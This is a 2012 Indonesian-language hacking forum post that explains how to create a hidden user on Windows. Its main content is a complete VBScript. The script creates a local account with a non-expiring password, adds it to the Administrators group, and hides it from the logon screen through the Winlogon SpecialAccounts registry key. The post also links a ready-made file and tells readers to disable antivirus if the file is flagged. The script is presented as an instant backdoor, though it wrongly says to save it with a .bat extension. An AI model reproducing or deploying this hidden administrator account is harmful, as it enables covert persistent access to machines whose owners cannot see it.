.:: Blackc0de Forum ::.
Would you like to react to this message? Create an account in a few clicks or log in to continue.

-=Explore The World From Our Binary=-
 
HomeIndeksLatest imagesPendaftaranLogin

 

 Cara membuat Hidden User di Windows

Go down 
PengirimMessage
Voldemort
BC Security
BC Security
Voldemort


Jumlah posting : 331
Points : 725
Reputation : 16
Join date : 04.07.11

Cara membuat Hidden User di Windows Empty
PostSubyek: Cara membuat Hidden User di Windows   Cara membuat Hidden User di Windows Icon_minitimeSun Feb 05, 2012 11:02 pm

enasaran gimana caranya buat hidden user di Windows..??


kali ini gue bagi ilmunya

yg mau instan, klik ini [You must be registered and logged in to see this link.] (matiin AntiVirus kalo filenya d anggap virus)

yg mau belajar ke sini

ketik ini di notepad

======================
On Error Resume Next
Const ADS_UF_DONT_EXPIRE_PASSWD = &h10000

Set wshNetwork = WScript.CreateObject( "WScript.Network" )
strComputer = wshNetwork.ComputerName
'<<<>>>>>>>
strPassword = "PASSWORD_ANDA"
strUser="USERNAM_ANDA"

Set colAccounts = GetObject("WinNT://" & strComputer)
Set objUser = colAccounts.Create("user", strUser)
objUser.SetPassword strPassword
objUser.SetInfo

Set objUser=GetObject("WinNT://" & strComputer & "/" & strUser)

If objUser.UserFlags And ADS_UF_DONT_EXPIRE_PASSWD Then
objUser.UserFlags=objUser.UserFlags XoR ADS_UF_DONT_EXPIRE_PASSWD
End If
objUser.SetInfo

'Add user to Local Administrators Group
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators")
objGroup.Add(objUser.ADsPath)


'Hide User Account

HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."

Set ObjRegistry = _
GetObject("winmgmts:{impersonationLevel = impersonate}!\\" _
& strComputer & "\root\default:StdRegProv")

strPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"

Return = objRegistry.CreateKey(HKEY_LOCAL_MACHINE, strPath)

Set oReg=GetObject( _
"winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
oReg.SetDWORDValue _
HKEY_LOCAL_MACHINE,strKeyPath,strUser,0


WScript.Echo "Username Created"
WScript.Quit
======================

edit strPassword dan strUser

save dengan extensi *.bat
Kembali Ke Atas Go down
 
Cara membuat Hidden User di Windows
Kembali Ke Atas 
Halaman 1 dari 1
 Similar topics
-
» selalu ada cara buat menjebol pass user administrator & user windows "*"
» [ASK] bagaimana cara membuat thema windows 7
» Cara Membuat Windows Menjadi Kota Mati
» [Windows] Cara Mengakses Partisi Linux di Windows (Dual Boot)
» Cara Membuat Windows Menjadi Blank Dengan Java Script

Permissions in this forum:Anda tidak dapat menjawab topik
.:: Blackc0de Forum ::. :: Information Technology :: Operating system ( OS ) :: Windows-
Navigasi: